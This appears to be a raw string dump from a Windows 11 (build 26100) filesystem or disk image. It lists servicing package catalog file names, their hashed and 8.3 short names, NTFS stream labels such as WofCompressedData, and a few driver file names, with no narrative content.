bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 53EC47~1.CAT 53ec47985e24e9fd95658c5862eb15ac1c9e5de737111000de6d4c0cbb138528.cat WofCompressedData $DSC $DSC LMicrosoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 100.1.cat LMicrosoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat fMicrosoft-OneCore-Multimedia-CastingCommon-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat fMicrosoft-OneCore-Multimedia-CastingCommon-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 56585D~1.CAT 56585d54200e8f940dabecfaab209cd155bdd595a6141f7576ecedf82a51eb04.cat WofCompressedData $DSC dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat hMicrosoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat hMicrosoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat $DSC QMicrosoft-OneCore-ESENT-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat QMicrosoft-OneCore-ESENT-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 5905B1~1.CAT 5905b171032f5a0371a11ee1fa00776e32a0092968d43d43c51bdc4073c7ef74.cat WofCompressedData $DSC $DSC WMicrosoft-Windows-RemoteFX-VM-Setup-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat0 WMicrosoft-Windows-RemoteFX-VM-Setup-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat 591207~1.CAT 591207a087a187ec323e34506fb86f32ba8acf148e9300876efe25f4c7c76561.cat WofCompressedData $DSC dMicrosoft-Windows-Wifi-Client-Intel-Netwew00-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat dMicrosoft-Windows-Wifi-Client-Intel-Netwew00-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 5A8952~1.CAT 5a89520298c6c44fce9684bc8c977b5512b39075869546f62a7dbda7ea0fec69.cat WofCompressedData $DSC TMicrosoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat TMicrosoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat $DSC 5A94E6~1.CAT 5a94e6ece72787a1a271c868140decc2c4856bb14995ddf563e01e9706a66f6a.cat WofCompressedData $DSC hMicrosoft-Windows-Ethernet-Client-Intel-E1i68x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat hMicrosoft-Windows-Ethernet-Client-Intel-E1i68x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 5BA752~1.CAT 5ba7529e3424d97f347ca208ec609eeae4c9df36a365e741a072e86680ff3d6f.cat WofCompressedData $DSC gMicrosoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat0 gMicrosoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 5BD553~1.CAT 5bd553be26ad504d4310e602216f6cad7d4a9a8ae623250f916d106cbe4208e3.cat WofCompressedData $DSC nwifi.sys nwifi.sys WofCompressedData $DSC p9rdr.sys p9rdr.sys WofCompressedData $DSC p9rdr.sys $DSC $DSC pacer.sys pacer.sys WofCompressedData $DSC eMicrosoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat eMicrosoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat 29B0A2~1.CAT 29b0a21547fdf4249e75c598d2f92f6df70d9f8d21af3376be2f8c0882642c9d.cat WofCompressedData $DSC ^Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat ^Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 29C078~1.CAT 29c0785492107ec577ecc75fde264f8d1960ffde45168af6f6622ad0d456d05e.cat WofCompressedData $DSC WofCompressedData $DSC SMicrosoft-Windows-msmq-http-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.3624.cat0 SMicrosoft-Windows-msmq-http-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.3624.cat 2BADD3~1.CAT 2badd38da910fc4feef4cba617deea5d9aee620b297d89ba1e7d2bb1f9850135.cat WofCompressedData $DSC UMicrosoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC 2BDDB8~1.CAT 2bddb8d76ab42245d4d74c19330f0e7f00d72af359b698cacf62b1dad32e894e.cat WofCompressedData $DSC 2D56A3~1.CAT 2d56a350fc2e1bf16f27c8e5d244c7c78e7357343a4f72903909faa81d569607.cat WofCompressedData $DSC qMicrosoft-Windows-Kernel-Package-IsolatedUserMode-Kernel-LA57-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat qMicrosoft-Windows-Kernel-Package-IsolatedUserMode-Kernel-LA57-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 2D5FC7~1.CAT 2d5fc739accf1e4435557a69a894c46ccc753caea5f5b060c7fc300561609224.cat WofCompressedData $DSC eMicrosoft-Windows-Embedded-DialogBlocking-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat eMicrosoft-Windows-Embedded-DialogBlocking-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 2D7BFA~1.CAT 2d7bfa49684a84825b9e9406c55382bdb70a75dcf011e81b551e711ce67ac5e9.cat WofCompressedData $DSC XMicrosoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat XMicrosoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat XMicrosoft-OneCore-Wer-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-OneCore-Wer-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 2E1190~1.CAT 2e1190645f9fcb9fb4b9e4515a240e507bc1df8638e0592d1564e71be171995f.cat WofCompressedData $DSC WHyperV-VmBus-VirtualDevice-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 WHyperV-VmBus-VirtualDevice-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC 30F7A2~1.CAT 30f7a2bc51170f16799625023f03c52ac48bf647c9a72ddd7c0db87a72d07207.cat WofCompressedData $DSC WofCompressedData $DSC OMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 OMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 3138C2~1.CAT 3138c259cc5e48cd97ee36174e2e26c15d8c9f5ee7ee1d901c3789af27e925d0.cat WofCompressedData $DSC WofCompressedData $DSC SHyperV-Guest-KernelInt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 SHyperV-Guest-KernelInt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 35372A~1.CAT 35372a04b0f6c266ff076b5033a5cbba6b97e5eece1ce799378fa4fb402a057c.cat WofCompressedData $DSC aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat 353ADF~1.CAT 353adf3eb7a77b4b9f19fc8dbf7f8920c7684aafa251e443c3aedfbedbfd2f6c.cat WofCompressedData $DSC aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 359885~1.CAT 3598850b21a4ac67d04a022302b368f7e4bc12ec8b549f378b5aedd3a0a66e0a.cat WofCompressedData $DSC YMicrosoft-OneCore-ETW-Rundown-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-OneCore-ETW-Rundown-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 359C24~1.CAT 359c24dc9b1cc96536cab96e3d290456aa8ded220e0407bc8b99ad0f66381fc9.cat WofCompressedData $DSC 37106C~1.CAT 37106c8e9fa3244e6f33a5b9113428289cc87bb6d73b71fff5abe33e1c98504e.cat WofCompressedData $DSC _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat 3718B2~1.CAT 3718b2f8c9a6093283aced5ef64c2fc1c5681249ef16d18420efc0515a6132b5.cat WofCompressedData $DSC hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 37C4F6~1.CAT 37c4f69b0756157aed4c7b6e9ed86556a821f28f140a3ce8d7c672289f85f527.cat WofCompressedData $DSC dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 381148~1.CAT 381148d8ca58ba55cc893275a5a75b2aebea11a86871f515914540b2c3d026ff.cat WofCompressedData $DSC gMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 gMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData fMicrosoft-Windows-EditionPack-Professional-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MI966B~1.CAT WofCompressedData BEA3B4~1.CAT bea3b4178d332ef68b761ecd37b5d1cf16b1f2f90f6fdc2fcc27197dc9c1d5d0.cat WofCompressedData $DSC WofCompressedData iMicrosoft-Windows-EditionPack-Professional-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat MID052~1.CAT WofCompressedData BEA7BE~1.CAT bea7bed755a36e8ebbd3c1f230dcd72994720989100e480274389ab8e8a80769.cat WofCompressedData $DSC WofCompressedData Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 MI4B8A~1.CAT C3C021~1.CAT c3c02151a59ea22715a7576cb3edf71a2c9e59337bda0426d027b156b1a92271.cat WofCompressedData $DSC WofCompressedData Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 MIA533~1.CAT C4090B~1.CAT c4090bc7367a26f40238d2dad42aba04dcae905ddf1c244ac41206eccec2bcfb.cat WofCompressedData $DSC C69CAF~1.CAT c69cafb8f49ff287aab1a94830413aa8d33099b4a8116e0bc83ce38b666c4224.cat WofCompressedData $DSC WofCompressedData XMicrosoft-Windows-Hello-Face-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MICE9C~1.CAT WofCompressedData C6A98C~1.CAT c6a98c3501545f4ff42790cd6b82f3e728bd5dbe5c5e3e540d618604b31bc780.cat WofCompressedData $DSC WofCompressedData XMicrosoft-Windows-Hello-Face-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MIB184~1.CAT WofCompressedData C7053C~1.CAT c7053cc2ff779fe02edb60fa3392a71a68794413248e9cc98ea2e4862d85472e.cat WofCompressedData $DSC WMicrosoft-Windows-Help-ClientUA-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat0 WMicrosoft-Windows-Help-ClientUA-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WofCompressedData C73048~1.CAT c73048fdd1c0d7a0ff395f4cd6d3dc0d32ab768024193568b0fd75db0eeec885.cat WofCompressedData $DSC WofCompressedData `Microsoft-Windows-Host-Guardian-Deployment-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MI1233~1.CAT WofCompressedData C880C5~1.CAT c880c54c052a5d8a3e23725f7da4f54c8477f2677cb2d0ee999ef50d9931edbf.cat WofCompressedData $DSC WofCompressedData MI353F~1.CAT Microsoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat C88C5D~1.CAT c88c5dc96b61e9092b69b43ea95bd58c960c818e6508bac021ff440b75349144.cat WofCompressedData $DSC WofCompressedData oMicrosoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 MIFDDE~1.CAT WofCompressedData C941D7~1.CAT c941d769531bc42969ffe26cd00e48c243d5cb6ec5d4300d90abb37285bc9225.cat $DSC WofCompressedData MI7AF4~1.CAT Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Disabled-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat C94CEF~1.CAT c94cef942eaaea827d61f3a67359498298016092f7979687c70c9ae0f93b9e06.cat WofCompressedData $DSC WofCompressedData Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Disabled-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat winnat.sys winnat.sys WofCompressedData $DSC winnat.sys $DSC $DSC winusb.sys $DSC winusb.sys winusb.sys winusb.sys WofCompressedData $DSC gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ZMicrosoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cata ]Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat XMicrosoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat.ca \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat XMicrosoft-Windows-NetFx4-WCF-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat SMicrosoft-Windows-NetFx4-WCF-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat PMicrosoft-Windows-NetProfilesUX-Package~31bf3856ad364e35~amd64~~10.0.26100.1.catcat SMicrosoft-Windows-NetProfilesUX-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat nMicrosoft-Windows-Network-Connectivity-Assistant-Service-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat lMicrosoft-Windows-Network-Connectivity-Assistant-Service-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat lMicrosoft-Windows-Network-Connectivity-Assistant-Service-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat ]Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.catt ]Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.catt XMicrosoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat05. XMicrosoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat05. `Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat eMicrosoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat eMicrosoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat cMicrosoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat cMicrosoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.catt9 aMicrosoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.catt9 bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat9 bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat9 bMicrosoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat9 dMicrosoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat .U.ato OMicrosoft-Windows-SecConfig-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat OMicrosoft-Windows-SecConfig-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat XMicrosoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat0.1 XMicrosoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat0.1 SMicrosoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat SMicrosoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat1 bMicrosoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.catt ]Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat91 ]Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat91 eMicrosoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat cMicrosoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat uMicrosoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat dMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat \Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7171.cat WMicrosoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WMicrosoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat _Microsoft-OneCore-Graphics-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-OneCore-Graphics-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat NMicrosoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat LMicrosoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat LMicrosoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat OMicrosoft-OneCore-Http-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1301.cat a458ge UMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat00 UMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat00 PMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0.2 PMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0.2 ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat [Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1455.cat [Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat YMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat00 YMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat00 TMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0.2 TMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0.2 aMicrosoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catca dMicrosoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat bf-Oo RMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat2 _Microsoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WMicrosoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catO SMicrosoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat VMicrosoft-Media-Foundation-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat gMicrosoft-OneCore-ApplicationModel-Sync-Desktop-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat VMicrosoft-OneCore-Biometrics-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat SMicrosoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat* WMicrosoft-OneCore-Common-DriverClasses-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat VMicrosoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catc fMicrosoft-OneCore-Connectivity-UsbConnectorManager-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat _Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat Peoo \Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-OneCore-Graphics-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat OMicrosoft-OneCore-Http-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat aMicrosoft-Onecore-Identity-TenantRestrictions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat096 ]Microsoft-OneCore-IsolatedUserMode-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat TMicrosoft-OneCore-Kernel-AppCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catt NMicrosoft-OneCore-LSA-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat TMicrosoft-OneCore-MinInput-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0.0 fMicrosoft-OneCore-Multimedia-CastingReceiver-Media-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat UMicrosoft-OneCore-OpenSSH-ClientOnly-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat VMicrosoft-OneCore-OverlayFilter-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat.e 70.C dMicrosoft-Windows-DiagnosticInfrastructure-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat50. UMicrosoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catat ]Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cattt dMicrosoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat.caQ fMicrosoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat cMicrosoft-Windows-Kernel-Package-CrashDump-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat bMicrosoft-Windows-Kernel-Package-System-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat RMicrosoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0( cMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat NMicrosoft-Windows-ProjFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat~i XMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat pMicrosoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7824.cat sMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-26200-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat cMicrosoft-WindowsCore-HardwareAccelerators-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat a3oo ZMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ZMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat UMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat UMicrosoft-OneCore-CoreSystem-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat dMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat `Microsoft-OneCore-CoreSystem-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 1BCB88~1.CAT 1bcb88c3d6a6d3c2865d7036700a0a574e7af984820c0e6a2b5af0f988f2ece1.cat WofCompressedData $DSC YMicrosoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat YMicrosoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 1BE24E~1.CAT 1be24e650a3b34a0714b558dbd0857aab030b8f82b355b6ccad39a744e3a0966.cat WofCompressedData $DSC $DSC ]HyperV-Host-Compute-PowerShell-Module-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat ]HyperV-Host-Compute-PowerShell-Module-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 